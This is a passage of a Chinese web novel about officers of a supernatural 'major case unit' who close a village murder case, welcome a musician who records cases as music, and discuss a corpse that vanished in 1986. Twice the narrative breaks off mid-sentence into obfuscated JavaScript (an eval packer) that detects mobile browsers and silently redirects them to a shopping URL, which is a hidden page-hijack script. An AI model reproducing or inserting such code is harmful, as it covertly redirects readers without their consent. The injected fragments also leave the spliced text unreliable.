王招娣说:“广顺哥对你这么好,从小护着你长大,你要是对他好一点儿,我也不至于这么恨你,可你居然敢拒绝他,你居然当着全村人的面回绝他的提亲,林雅菲,你真是个女表子!” “嘴给我放干净点。”秦于理用力一摁王招娣的脑袋,将她摁得贴紧地面,王招娣嘴里爆发出一串脏话,让人很难想象这竟然会是从一个二十多的年轻女孩嘴里说出来的。 “放开她!”王广顺说,村子里的其他人也跟着围了过来,林雅菲抱着棉花糖退到秦于理身边,她的父母也被村里人围着,渐渐退到了秦于理旁边。 “怎么,这是要袭警吗?”秋樰生的声音突然响起,原本已经蓄势待发的秦于理突然感到肩上一轻,好似有人替她挑起了沉重挑子的另一头。 秋樰生拨开人群,走了进来,手里拿着自己的警官证:“这里是法外之地吗,还有人记得我和秦于理都是隀明市刑警队的干警吗?” 王广顺看着秋樰生,眼神里带着一股阴冷,但他还是慢慢地退开了一些,让秋樰生走过来。 秋樰生看到地上还在蛄蛹的女孩子,问:“这是?” “推林雅菲下湖的罪魁祸首,刚刚还想捅死她。”秦于理又问秋樰生,“找到屠阿姨了吗?” 秋樰生摇头:“我们跟着李学思在天湖湖底找到了一口冰柜,他自己交代说在屠阿姨死后,为了继续领老人的退休金把她的尸体放进冰柜,沉到了湖底,可是不知道为什么打开冰柜以后,里面什么都没有,现在李学思人被带回警局了,估计是吓到了,有些疯疯癫癫的。” “天湖?” “嗯,在天湖中心医院附近,跟落霞湖一样,其实都是洛水支流的一部分……”说到这里,秋樰生突然停住了话头,看向面前莹莹的湖水。 秦于理知道他也想到了,说:“你有没有想过,屠阿姨常年佩戴的耳坠子为什么会在落霞湖里被发现?” “处理这种事情,就到了我的职业范畴了。”不知什么时候,人群中冒出了穿着道袍,斜挎着布包的赵大仙儿,他没等秦于理开口就解释说:“我前天来了一直没走呢,只是你们不知道而已。”他说着,看向那片看似平静清澈的湖面,掏出一柄拂尘在空中挥了一挥:“逝者的心愿是回家,你们替她找回了自己和回家的路,现在,我来送逝者回家。” 这一晚走到尽头,天边出现晨光的时候,伴随着最后一张符纸在空气中化为灰烬,落霞湖里发出咕嘟咕嘟的声响,那声音越来越大,最后,一具老人的尸体从湖底浮了上来,她的一只耳垂上戴着一枚金镶玉菊花造型的耳坠,另一只耳垂上,空空如也。 50.第50章 出村 天上飘着蒙蒙细雨,林雅菲一家拎着行李箱,走在出村的道路上。 工整的石板路被雨浸湿,反射出油润的湿亮,看起来很干净,但是一不留神踩到水洼里,便有肮脏的泥水溅起来,打湿人们的裤腿。 霞鹜村里静悄悄的,人们并没有出门,而是选择躲在窗帘后头、门后头,目送这座村里的异类、叛徒林雅菲一家离开。 秋樰生说:“想好接下来去哪里没有?” 林雅菲摇头:“反正先去医院附近找个小房子租住,后面的事情后面再说。” 林母也说:“对,车到山前必有路,我们有手有脚,身体健康,难道还能被难死吗?” 林父说:“呸呸呸,少说晦气话。我有个工友在城里当外卖员,他说这行门槛低,只要肯吃苦,买个电瓶车就能跑,我琢磨着我可以干这个!” 林母说:“我想着去医院里找个护工的活干,这样还能帮雅菲的忙。” “林雅菲!” 走到村口的时候,前方雨雾中出现了一个身影,是王广顺,他撑着伞,已经不知道在那里等了多久了。 林雅菲怔了一下,想要装作没看见,绕开他,王广顺却伸出手,想要一把拉住林雅菲,结果被秦于理眼疾手快,一把打开,秋樰生也顺其自然地插进来,拦在了林雅菲和王广顺之间。 “广顺,话都已经说清楚了吧,雅菲家把彩礼都退了,现在人家一家子要搬走了,你还有什么不满意的?” 王广顺恨恨地看了秋樰生一眼,转头又软下声音对林雅菲说:“雅菲,我只是想再跟你说几句话。” 林雅菲从秋樰生身后走出,说:“我们应该没什么可说的了。” 王广顺说:“我知道我前几天有些失态,但我那时候就是急了。你知道的,我那么喜欢你,本来我们都要结婚了,可你突然上门退亲,换成谁谁心里都不会好受吧!” 林雅菲没吭声,只是低头看着地面,像是要把那里看出朵花来。 王广顺见她不语,又接着往下说:“我今天是特地来跟你道歉的,是我不好,我对不起你。” 林雅菲说:“都过去了,我很快就会忘了这些。” “雅菲!”王广顺说,“你们现在一家搬去城里重新开始,不是件容易的事。光是吃穿住用,就要不少钱,叔叔阿姨年纪也不小了,你忍心让他们为了你吃二茬苦吗?” 林母皱起眉头:“王广顺,你说什么呢,我们靠自己劳动赚钱,我们心甘情愿!” 林父说:“就是,少瞧不起人了!” 王广顺说:“阿姨不是腰间盘突出吗,叔叔我记得也有高血压吧,本来他们辛苦了一辈子,也该到享福的年纪了,现在要跟着你颠沛流离,你真的忍心吗?” 林雅菲抬起头,目光灼灼地看着王广顺:“王广顺,你到底想说什么?” 王广顺说:“过去的确是我的错,你再给我一次机会,你现在不想结婚,那就不结,我们可以先订婚;你想继续在医院工作,你想继续深造,我都依你,有事我们慢慢商量,合计着来不好吗?” “不好。”林雅菲说,“王广顺,我已经把话说得很明白了,我不想嫁给你,订婚也不行!” 王广顺压低声音:“林雅菲,你以为离了我你还能嫁给谁?城里难道就有比我更好的男人吗?就算有,你怎么知道人家看得上你这个乡下妞?” 秋樰生动了一下,被秦于理拦住了,秦于理冲他摇摇头,秋樰生“啧”了一声。 林雅菲说:“我嫁给谁不嫁给谁都同你没有关系,王广顺,你把自己当成谁了,我跟你半毛钱关系都没有,从今天开始,我们一刀两断,恩断义绝!” 林雅菲说着,一把推开王广顺,朝着村口走去,林父林母也跟在她身后,拖着行李箱沉默的前进。 “林雅菲!”快要走出村口的时候,王广顺再次大喊了一声,林雅菲停也不停,继续往前走。 “林雅菲,我祝你这辈子孤独终老!”王广顺恨恨地骂道。 林雅菲这次反倒停住了脚步,她回过身,将行李箱停稳,顺了顺被细雨打湿的头发,然后也大声地回道:“谢谢啊,那我祝你,百子千孙……” 王广顺一下哑然,没想到林雅菲会这么回他,林雅菲的声音却又清灵灵响了下去:“我祝你和王招娣或者别的什么谁都好,祝你们百子千孙,生生世世困守此地,踏不出去一步,直到血脉断绝,灰飞烟灭!” “你!”王广顺愤怒地冲过来,想要揍林雅菲,途中被秋樰生绊了一下,重重跌在了地上,落了个满身泥。 秋樰生伸出一根手指,警告性地指了指地上的男人:“袭警犯法,劝你想好了再做!” 几人走出村子,坐上秋樰生车子的时候,身后传来了王广顺如同疯了一般的咆哮,林雅菲从包里摸出一副耳塞,塞进自己的耳朵里说:“好吵,秋队,麻烦你快点送我们走。” 秋樰生笑了一笑,踩住油门,这次头也不掉,倒着车开出了霞鹜村。 …… 回隀明市的路上,秦于理百无聊赖地托腮看着窗外。长假还没结束,但今天天气不好,所以高速公路上的车辆没前些天来的时候那么多,路边田野上为了庆祝国庆新鲜摆放出来的花朵沾了雨露,显得些许的弱小可怜。当然,只是看着弱小可怜,颜色却依然璀璨,大喇喇穿透了雾蒙蒙的天色。 “秋樰生。” “嗯?” 秦于理说:“这么一闹,你应该再也回不了霞鹜村了吧。” “嗯。”秋樰生说,“没什么大不了的,本来我也没把那里当家,不是你说的吗,重案组的人都是无因果者,处不熟、留不下。” 秦于理说:“处不熟是一回事,想不想处熟是另一回事。” 秋樰生诧异地看了秦于理一眼。秦于理:“怎么?” 秋樰生说:“堂堂秦队居然还有伤春悲秋的时候?” “嗤!”秦于理用语气表达了对秋樰生的不屑,翻出一个塑料袋,从里头掏出一个打包盒,掀开盒盖,掰开筷子就开始吃。 秋樰生吸了吸鼻子:“什么玩意儿?” 秦于理:“大食堂打包的炒饭。” 秋樰生震惊:“这都几天了,你确定还能吃?” 秦于理说:“天气又不热,没什么问题啊,你要来一口吗?” 秋樰生立刻把头摇得像拨浪鼓:“我可没你那么强的肠胃!” 秦于理说:“不吃就不吃,我还不想分给你呢!” 秋樰生想了一下,又问:“那个赵大仙儿,是不是有点儿问题啊?” 秦于理说:“是吗?” 秋樰生说:“跟你说正经的,别打马虎眼,你说他会不会是我们那块儿重案组的人?” 秦于理说:“这我可不知道,不是跟你说了吗,重案组和重案组之间平时不联系,既然他没亮明身份,那就不是。” “可他看起来很擅长处理重生案件……” “万一人家只是擅长处理夺舍案件呢?” 秋樰生说:“秦于理,你不是唯物主义者吗?” 秦于理说:“正因为是唯物主义者才讲证据啊。” 秋樰生拿秦于理没辙,开了一点车窗通风,好让那隔了不知道几夜的炒饭味儿散出去。就在这时,一阵救护车鸣笛声由远及近,秋樰生本来已经要变道了,见救护车过来,遂关掉了转向灯,稍微放慢了车速,等那辆车过去。 果然,闪着红蓝顶灯的救护车飞驰而来又飞驰而去,一辆接着一辆,竟然有五辆之多。 秦于理说:“大过节的,出 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秋樰生说:“不是,你这是默认了你觉得我不是个好人?” 秦于理已经吃完了炒饭,她擦擦嘴,也学林雅菲,从包里摸出因果空间用的眼罩戴上,隔绝了秋樰生的嘟囔:“好吵,我睡一会儿,到了再叫我。” 秋樰生拿她没辙,只得忍气吞声,继续当他的车夫。 “哎,你有没有想过?”秦于理突然又开口讲话。 秋樰生说:“什么,不是嫌我吵吗,怎么又跟我聊天?” 秦于理说:“你怎么跟王广顺一样,小肚鸡肠的。” “你……” 秋樰生简直要气死了,秦于理又说:“你们那个村应该有不少年头了吧?” 秋樰生没想到她要聊这个,想了会儿才说:“大概吧,反正听说有好多年了。” 秦于理说:“古人挖坟都爱种树,因为树长大了,一般人不会去挖,这就能保障树下头的坟墓安全。霞鹜村那棵海棠树长老大了,一看就活了好多岁,还有那个慈济堂,现在房子是老了,但当初造的时候一定没少花钱,刚落成的时候肯定很气派!” 秋樰生说:“秦姐、秦队,你到底想说什么,能不能行行好,说点我听得懂的?” 秦于理说:“我就是想说啊,你们那个村子,当初肯定是有大户人家,书香门第的,慈济堂、落霞湖、霞鹜村,哪个名字都不像是普通乡下人会取的,村子依山傍水的,风水挺好,说不定当初是什么当官的告老还乡,携家带口隐居的风水宝地呢。” 秋樰生大概知道秦于理的意思了,他说:“是也已经都是历史了,现在住在那里的人……”想到王广顺、王招娣他们,秋樰生不由得挑了一下眉毛。 都说富不过三代,富而骄,骄而堕,再大的门庭,但凡子孙不争气点,败落起来就像秋风扫落叶一样快。如果还不能顺应时代潮流,更新观念,那就更是一条道走到黑,自己堵死了自己所有的出路。 秦于理说:“李白活着的时候那样惊才绝艳,听说他的子嗣后来也凋敝于田野,子女早早亡故,孙女儿嫁了农夫,再也没有光复门庭。” 秋樰生说:“哦?” 秦于理说:“不过子非鱼,安知鱼之乐呢?” 秋樰生说:“掉书袋不太适合你。” 秦于理说:“烦死了,我睡了。” 把连帽卫衣的风帽一盖,真的很快进入了梦乡。 “子非鱼,安知鱼之乐?”秋樰生轻声重复了一遍,乐了。 确实,世人多如牛毛,评价劝诫也莫衷一是,是百子千孙还是被儿孙负累,是孤独终老还是潇洒一生,最后还是得鱼自己说了算! 秋樰生加快速度,朝着隀明市驰去! 51.第51章 临时工 “ID0000重案组,秋樰生,本次检查结果,因果污染数值:13.3、μl,未达警戒值,予以通行。您的健康状况良好,祝您一路顺风!” “ID1178重案组,秦于理,本次检查结果,因果污染数值:7.7、ul,未达警戒值,予以通行。您的健康状况优秀,祝您心情舒畅!” 熟悉的机械女声重叠着响起,地铁车厢门打开,这次,秦于理和秋樰生一同走进电梯。 秋樰生快秦于理一步,熟门熟路地按了向上的按钮,电梯静静地往上攀升,打开门,又来到了重案组的办公室,那个钟山山腹内的空腔溶洞。 往常安静的重案组里此时飘扬着悠扬的旋律,赵萌萌缩在角落工位上,一边刷着视频,一边快乐地喝着肥宅快乐水,老范人不在,但是办公室里多了个人。 那个人坐在正对电梯口的一张办公桌前,头戴耳机,正在噼里啪啦地敲着键盘,时不时单手在空中打着节拍。 秋樰生看向秦于理,疑惑地问:“这谁?”他明明记得重案组里只有他们仨才对。 秦于理想了一下说:“应该是方许恩。” “方许恩?”秋樰生说,“那个跟你一起困在云上酒店污染区的音乐家?他怎么会在这里?” 秦于理说:“其实你认识他的时候,他是黎曼红案子里的重要关系人。” 秋樰生说:“黎曼红?那个大明星?她不是因为意外死亡了吗?” 秦于理看了秋樰生一眼,叹了口气,没有纠正他已经被修正过的记忆,而是走过去,从身后拍了拍方许恩的肩膀。 方许恩似乎完全沉浸在自己的世界中,被秦于理这么一拍,他吓得砰的一声跳了起来,跟只炸毛的猫一样,紧张地摘掉耳机看过来。见是秦于理和秋樰生,他才大大松了口气,连连拍着胸口道:“吓死我了,你们回来就不能吱一声吗?” 秦于理伸出手指挑起滑落到青年脖颈上的耳机,全遮罩耳机里头传来单调的旋律,反反复复播着同一段。秦于理说:“你确定我们吱了,你能听得见?” 方许恩这才恍然大悟,伸手在面前的键盘空格键上按了一下,那阵单调的旋律便戛然而止,他有些不好意思地说:“骚瑞啊,我忘了自己戴着降噪耳机呢。” 秋樰生说:“耳机不耳机的先放一边,你怎么会在这里,这可不是你能来的地方!”他说着,伸手抓住方许恩的胳膊对秦于理很自然地说,“我送他出去!” 方许恩立刻挣扎,嘴里嚷嚷:“哎哎哎,秋警官,你怎么不讲道理啊,我凭什么不能在这里!” 秋樰生跟方许恩身高虽然相差不大,体型看起来也没有天壤之别,但同样瘦削的身体里,秋樰生的爆发力却比秋樰生这个文弱艺术家可怕多了,他稍稍一用力,方许恩就被连人带椅子的往后拖出去几十公分,吓得他赶紧用双手牢牢抓住桌边。 “秦队,救救我、救救我,我要被秋队赶走了!” 秋樰生说:“办公重地,闲人免入,赶的就是你。我不追究你的责任已经是给你面子了,出去!”他说着一用力,跟提小鸡仔似的,把方许恩直接拖得一条腿都离了地,方许恩急得额头青筋都冒了出来,不住嚷嚷。 “我是重案组的人,这儿就是我的工作地点,你没权力赶我出去!” “就你,还重案组的人?”秋樰生简直气乐了,“要不是看在你上一个案子里出了点力的份上,信不信我现在以妨碍公务执行罪拘了你?” “不是,你怎么不听人说话啊,我说了我是重案组的人,我骗你干嘛?秦队,秦队!”见秦于理不知什么时候注意力放到了自己刚刚办公的电脑上,丝毫没有搭救自己的意思,方许恩开始着急地乱踢乱蹬——他已经被秋樰生从背后拘着胸口,半抱起来了,眼看着就要被丢进电梯,方许恩转而向赵萌萌求救:“萌萌,赵萌萌,救救我,你说句话呀!” 无奈赵萌萌好像啥也没听见,压根就没看他们那儿一眼,兀自对着自己的电脑屏幕哈哈大笑,笑到收不住了还捶桌子,也不知道在看什么垃圾电视剧。 方许恩简直要哭出来了,就在这时候,范朋拿着一叠厚厚的报纸从走廊里走了出来,看到眼前的景象,老者不由得一愣。 方许恩忙扯着嗓子哭喊:“范老师,范老师救我,秋队要赶我出去!” 范朋先把那叠报纸放到一旁的桌上,然后回身在角落的一台机器上摁了一下,刚刚飘扬在整个空间里的旋律戛然而止,赵萌萌似乎这才反应过来,抬头望了过来。 “咦,鲤鱼姐、樰生哥,你们什么时候回来的?”她说着,不动声色地嘣的站起身,顺带用脚踢了一下电脑,关掉了自己上班摸鱼的证据。 “刚刚。”秦于理欣赏完方许恩在电脑里的杰作,直起身对范朋说,“老范,方许恩这是入队了?” 范朋点头:“嗯,昨天拿到的红头通知,不算入队,给了个技术顾问的头衔,劳务派遣,也就是,临时工。” 方许恩似乎自己也没料到他千辛万苦花大价钱转了好几个弯才弄到的身份居然只是个区区临时工,整个人都懵了,说:“什么,我还不是正式员工?我可是把关系都通到了……”方许恩的话音戛然而止,他咳嗽了两声,含糊道,“我明明是上面推荐过来的。”可见,他虽然多年在国外生活,体制内的人情世故还是懂的。 范朋露出一个堪称和蔼可亲的笑容,他说:“哪儿推荐过来的都一样,咱们重案组好多年没动三定了,正式编制可没那么好拿。” 秋樰生听明白了,他一松手,方许恩和椅子先后掉回地上。椅子先着地,人后跌坐到椅子上,发出哐的一声。 大概觉得自己这样矮了秋樰生一截,方许恩没坐稳赶紧又跳起来,和秋樰生大眼瞪小眼。 秋樰生说:“哟,对不住,那是我鲁莽了。原来咱们队里来了个新临时工啊,你好你好,我是重案组编号0000正式组员,秋樰生,很高兴认识你。”秋樰生伸出手,一副公事公办的客套模样,YYGQ地嘲讽方许恩没编制。 方许恩要是有胡子,现在应该已经气得吹胡子瞪眼了,但是因为没胡子,只能吹起一绺刚刚跟秋樰生“搏斗”时散落在额前的刘海。 秦于理也伸出手:“欢迎,方许恩同志。” 方许恩这次赶紧伸出了手,和秦于理殷勤地握了一下:“多多指教,秦队,以后咱们就是一家人了!” “谁和弱鸡一家人。”秋樰生嘟哝了一声,声音不高不低,足够方许恩听清楚。 “你!” 秦于理及时打断了两个男人幼稚的菜鸡互啄,指着电脑屏幕问:“这是你写的?” 屏幕上是个编曲软件的界面,方许恩开了单轨模式,正在编辑一段旋律。 方许恩说:“嗯,刚写好的!”一说到自己的工作,他就有点激动,拔掉耳机接口说,“你们来之前,我已经卡了好久,刚刚找到一个解决方法,把旋律完成度提到了60%以上,我放给你听听!”说着,他调到多轨模式,再度敲击空格键。 短暂的静默过后,重案组的办公室内,一段公放的旋律响起。 这是一段由小提琴、大提琴、圆号、定音鼓、双簧管等乐器组成的交响乐片段,主体旋律正是刚刚秦于理通过方许恩的耳机听到的那段,但此时多轨乐器混合加各种变式叠加后,形成了一段磅礴宏大又充满压抑紧张气氛的曲式。听着那段音乐,每个人的眼前都不自觉地浮现出了一幕画面。 雷雨夜,大雨笼罩了整片天地,也掩盖了各种声响,偶尔划过的霹雳照亮某户人家家里,一个粗壮的男人正在丧心病狂地殴打自己的妻子,女人拼命躲闪,酒醉的男人却步步紧逼。他们你追我赶,女人避无可避,被男人抓住,拼命挣扎,徒劳无功地挥舞着双手,像是溺水的人想要抓住最后一丝获救的希望,然而,冰凉的雨水和男人的无情浇灭了一切,伴随着定音鼓重重的锤下,女人从空中坠落,重重摔到地上,失去了生命。 “啪”的一声,方许恩又按下了停止键,带着一点期待问:“怎么样?” 秋樰生脸色有点难看,他说:“这是什么东西,为什么我会想到十年前朱平出事的时候?” “这是记录。”范朋说,众人都看向他,“重案组的案件记录向来是很难留存的,因果一旦被修正,所有我们办重生案件时经历过的一切都会自然而然地被修正。正因为这样,哪怕是办案警官本人,也很难在记忆中,更不用说是文档记录里找到曾经的办案经过,积累起有效的经验,甚至可能产生记忆混淆,给自己增加额外的精神污染。所以,历代重案组都在寻找一种可以少受或者受影响更慢的记录方法,形成有效卷宗。”他说着,指了指桌上那叠旧报纸,“我入队的时候,队里采用的记录方法就是新闻。” 秋樰生恍然大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16657019|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悟,难怪每次看到范朋,他都在整理旧报纸,秋樰生以前还想过这大爷是不是重案组供着混退休的,没想到看报纸真是人家的具体工作。 “但是,因果不是会被自然修正吗,如果人的记忆都不靠谱了,那报纸上的记录难道不会变?” “会的,会变的。”范朋说,“但是即便新闻本身会变化,在报纸上曾经做过的笔记会消失,但这些被收集起来的新闻本身就有一定的意义,如果连贯起来看,配合适当的标记符号,只要没有明明白白地指向案情本身,通过转换翻译,还是能够留下一定的信息量。” “也就是说,直接信息会被看不见的因果的手涂改,但间接信息因为不直接指向因果本身,所以得以保留或者能获取缓冲时间,使得信息较为缓慢地流失?” “没错。你可以一定程度把这看做战争中,经过加密的情报信息,只不过我们针对的对手是更强大和不讲道理的,是自然、时间和因果。” “所以您每天整理旧报纸,其实是在维护往日卷宗?” 范朋点头,露出了一个孺子可教的微笑:“秋队已经完全弄明白了。” 秋樰生再次感叹,重案组的活真不是普通人能干的。找重生污染就很困难,找到了要确定重生目标是难上加难,确定了人选解开错误的因果线需要进入因果空间冒险,就连解开以后,留存资料还需要动脑筋,不然一不留神就什么也不记得了。可即便如此,转换、翻译和猜测,对当事人来说或许能一定程度还原案情本身,但过个几十年,不,哪怕只是过个几年、几个月,只要换一批重案组队员,对着同样的“卷宗”所能获取的信息量也会大幅度减少。” “所以小方提出的音乐记录法是个很好的尝试。” 秋樰生看向方许恩,这家伙现在抱着双臂,一副很得意的样子:“没错,音乐可是人类不分国界的共同语言!” “用音乐来记录案情?”秋樰生回想了一下刚刚自己听到那段旋律时候脑海里浮现的画面。人类对于视觉接触到的色彩、光影、几何体形状和听觉接触到的旋律都会有较为直观和接近的感受,如果说新闻记录法记录的是相对客观发生的事情本身,那么音乐赋予人的则更多是共通的情绪,利用情绪激发共感,联想起当时经历的一切。 就像是人们喜欢一首流行老歌往往不一定是因为喜欢那首歌本身,而是因为那首歌和某段令人们无法忘怀的记忆牢牢绑定。像是一听到运动员进行曲就忍不住踏步,一听到《云宫迅音》会回想起喝着汽水偷看电视的暑假,一听到二泉映月脑海里就浮现戴着墨镜穿长衫拉二胡的瞎子阿炳等等,音乐记录牺牲了一些细节,但能保留案情的总体轮廓,比新闻记录法更为直观和全面。 秋樰生说:“有一定效果,但毕竟只能换个临时工编制,我想,也就那样吧。” “你!”方许恩气得一蹦三尺高,一点优雅形象都不要了,恨不得和秋樰生当场打一架。 这两人也不知道怎么回事,每次见面都不甚愉快,也不知道因果里带了什么仇。 秦于理说:“你们接着吵,我找陇三开个视频会议,交代一下屠菊英的事。” 屠阿姨重生到老猫棉花糖的身上,本来就是一个不对等的重生公式,加上棉花糖也已经死了,这次的案件中并没有人需要送进陇三的教化所进行校正,但案情还是需要向教化所同步。秦于理伸了个懒腰,舒缓了一下因为舟车劳顿酸疼的身体,往会议室走。 身后传来秋樰生和方许恩不阴不阳的互怼,范朋打圆场的声音和赵萌萌叽叽喳喳的说话声,秦于理下意识地回头看了一眼,有那么一瞬间,她的眼前出现了十分热闹的场景。每一张重案组的办公桌前都坐着人,他们有的在打电话,有的在敲打键盘,有的两三个人凑在一起在分析案情,还有的因为连日奔波累得瘫倒在椅子上呼呼大睡…… 秦于理想要看清楚那些人的长相,然而只是一瞬间,那些看似十分生动逼真的画面又跟蒸发了一般,眨眼消失了个干净。空旷的办公空间里,现在只有四个人,秋樰生、方许恩、范朋和赵萌萌。 “我刚刚是回想起了什么?以前的重案组吗?”秦于理皱眉,可她接管重案组明明也没几年,而且来的时候这里就只有范朋,后来才有了赵萌萌,她并没有见过其他人。 “太累了吧。”秦于理想,拿了一瓶补剂,拧开盖子,边喝边钻进了会议室。 52.光阴如水 秦于理拿着补剂从会议室出来的时候,外面办公室里已经只剩下了十年如一日,兢兢业业仔细整理旧报纸的范朋。 秦于理往办公桌边一坐,问:“其他人呢,都回去了?” 范朋说:“秋队在你进去会议室后没多久接了个电话就急匆匆走了,可能是队里有突发的事情……” 秋樰生虽然是重案组的0000,但他的本职还在,长假这几天他要不是必须回霞鹜村一趟,恐怕也不会和秦于理相处这么久。 范朋接着说:“萌萌还是老样子,到了一年一次回孤儿院探望老院长和小朋友的时间,所以我让她也先走了。” 秦于理感叹了一声:“这么快又到时间了。” “是啊,”范朋附议,“时间总是过得很快。” 就像秦于理对秋樰生说过的那样,能够进重案组的都是孤狼,没人能有圆满的原生家庭和丰富的人际关系,赵萌萌或许已经是他们几个人中人际关系相对丰富的一个了。 “方许恩呢?” “跟秋队吵了一架,秋队跑了,萌萌也走了以后,他想继续干活,但实在太累了,干着干着睡着了,我就把他叫醒让他回去了。这两天他一直泡在办公室里搞那个音乐记录,几乎没怎么睡过。” 秦于理说:“这么上进,看来他所图不小啊。” 在朱平案中发现方许恩是个百年难得一见的因果观察者后,秦于理就不动声色地调来了方许恩的档案,得知了方许恩不仅是个音乐家,还小小年纪就失去了父母,继承了巨额财产,换言之,方许恩一辈子不事生产也能过得很好,可这样的公子哥却跑到重案组来当个临时工,自然另有目的,而让方许恩以为自己能进入重案组是因为花钱砸开的门,也是秦于理的安排。 秦于理说:“他的观察者身份……” “做好信息封锁工作了,教化所那边也不知道。” 秦于理点点头。陇三代表的教化所和秦于理代表的重案组明面上看是一个机构的不同部门,甚至可以说是前道和后道,就像公安局和监狱,但两者实际的关系要错综复杂得多,错综复杂到如果有一天秦于理出了问题,陇三会是第一个接到指令来追杀她的人,反之亦然。 秦于理说:“说起来,这次去秋樰生的老家,我碰到了一桩案子……” 秦于理接着把屠菊英和林雅菲、棉花糖两人一猫的事件说给了范朋听,范朋忍不住感叹:“秋队果然是0000,上哪儿都能带出案子。” “可不是吗,”秦于理说,“虽然能被选为0000的多少有点招事儿的体质,但秋樰生这么明显的触媒也不多见。朱平那个案子里我就有点儿感觉,自从他入局以后,因果发展比以往更快,这次霞鹜村的事情算是间接证明了这一点。” “一个观察者一个触媒,再加上赵萌萌这对耳朵和秦队你……”范朋沉吟了一会儿说,“放到电视剧里,这是要出大事的节奏。” 秦于理将手里剩下的补剂喝完,凌空一丢,易拉罐准确无误地掉进了垃圾桶里,垃圾桶都不带晃一下的。她说:“是吧,我也这么想,最近重生案发生的概率有点太高了,以前几年才能碰到一桩显了因果的,虽然暗处没显现的说不上来有多少,但至少案子和案子之间连得没这么密,现在倒好,解决一个又来一个,连个休息时间都不给人留。” 秦于理说到这里顿了顿,问范朋:“老范,你还记得我来重案组几年了吗?” “十一年……十一年多点吧。”范朋说,“怎么突然想到问这个?” 秦于理回想起自己刚刚进会议室之前一刹那看到的重案组高朋满座的样子,若无其事的说:“没事,这不是在说时间过得快么,忍不住怀下旧。我记得我刚来的时候,你还年轻,经常出外勤,萌萌还是个小孩儿,她那会儿比现在阴沉,一副老气横秋的样子,还有……”秦于理顿了顿,“还有前任0000。”秦于理的眼前划过了一个模糊的影子,秋樰生进组还没多久,她对前任0000的记忆却已经很模糊了。 这是一种十分奇怪,但秦于理已经很习惯的感觉。有些记忆,好像一直都在那里,只有当你回过头去看的时候才发现那里早已经空空如也,你再回想,却已经想不起原先这里放着的东西是什么样子,什么颜色,有过什么故事,你甚至想不起来它是什么时候消失不见的。 “对,当时就我们四个。”范朋说,“我还记得你进组办的第一件案子是胡岚的案子。” “胡岚。”秦于理把这个名字在嘴边念了几遍,只觉得疏离又陌生,“是有这么个人,但我好像已经不怎么想得起这个人了。” 范朋说:“正常,十一年了。” 秦于理说:“对了,这次去霞鹜村我还碰到了一个有趣的人,是个民间大仙,叫赵明廷,我怀疑他是其他地方重案组的人,你有印象吗?” 范朋仔细听了秦于理的描述后,想了会儿说:“按你说的,这个人的年纪比我长,我进组的时候,对方可能就已经不做了,但他的行事作风的确有点像组里的人。” 赵大仙儿独来独往,神出鬼没,看着像个不靠谱的民间神汉,但他唯二的两次出场都给了秦于理两人帮助,第一次他安抚了众人,让秦于理和秋樰生两人能够名正言顺地带着林雅菲出门,寻找实现屠菊英心愿的方法,第二次更是直接出手,从落霞湖中找到了顺着天湖的水流而下,飘到村子里来的屠菊英的尸体。如果没有他,这桩案子虽然不至于无法结案,但花的时间和精力都会几倍于现在。 范朋说:“秦队对他感兴趣,需要我去调查一下吗?” 秦于理摇了摇头,随后又点点头,说:“有空的时候顺手做,不必专门去挖,我只是想心里有个底。” 就像秦于理之前对秋樰生说的那样,赵明廷在明知道两人在追查重生人案子的前提下,现身相助却没亮明身份,那就一定有他自己的顾忌,秦于理之所以想要确认对方的身份也是想着,下次如果还有类似的案子出现在那附近,知根知底的话合作起来更方便。当然,这一切都是锦上添花,没有花,锦也依然是锦。 范朋说:“好。”接着继续整理自己面前的报纸。 秦于理眼尖,扫到报纸上用红框框出来的一则新闻,时间是1986年11月11日,报纸是《白城晚报》,标题写着“天网恢恢疏而不漏,悍匪刘克爽今晨被我公安干警击毙”,居然是一条将近四十年前的大新闻。 范朋的工作就是想办法留下有效的重案组案件档案,所以眼前留存的报纸,但凡做了记号的,多半应该跟案件有关。 秦于理说:“这也是以前办过的案子?” 范朋却摇摇头:“不是,这个案子是我怀疑过与重生案有关,所以留了个心眼,保存到了今天,但现在回过头看,倒不像是重生案了。” 秦于理拿起报纸,快速把那篇报道看了一眼。过去的老报纸不像现在的网络媒体,就连官媒都是满嘴网络用语和玩梗,那时候做新闻还是很严肃的一件事情,越是建国早期的新闻报道写法就越是严谨书面,甚至在港台地区会出现文白对半开的情况。 这篇写刘克爽被击毙的新闻简明扼要地陈述了这个身背13条人命的悍匪被公安干警如何围堵在白山上,经历一天一夜的战斗,最终被正法的过程,事实清晰,用词准确,隔了几十年读来仍让人觉得惊心动魄,荡气回肠。 秦于理说:“这篇报道有什么问题?” 范朋说:“报道没问题,是后续出了点问题。这个刘克爽,当时与警方对射,造成三死一伤,被击毙后,尸体被送到了当地医院太平间,结果,法医在尸检过程中不知出了什么问题,把尸体弄丢了。” “尸体不见了?”秦于理惊讶,“是人还没死吗?” “死了,死的透透的,至少系统里的档案上是这么写的,所以才会引起我的注意。”范朋说,“法医做过初步检验留了照片档案,等着进一步解剖,谁也不知道怎么回事,那具尸体就从冷冻柜里消失了。怕造成不良社会影响,当地公安系统只能报告上级后,暗中寻找,但奇怪的是,把整个白城都翻了个遍,就是找不到应该已死的刘克爽。” “后来呢?尸体找到了吗?” 范朋摇头:“从此以后,杳无音讯。” 秦于理现在明白范朋为什么会说这桩案子不像重生案了。这甚至不应该从重生案的角度来看,因为重生案不过是一个人重生到另一个人的躯体里,该死了的尸体还是会死在那里,不会消失不见,刘克爽这起事件听起来更像是一则都市传说。 不过话说回来,越是经济不发达,信息不畅通的时代,类似的都市传说就越多,这很多时候就是当时侦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 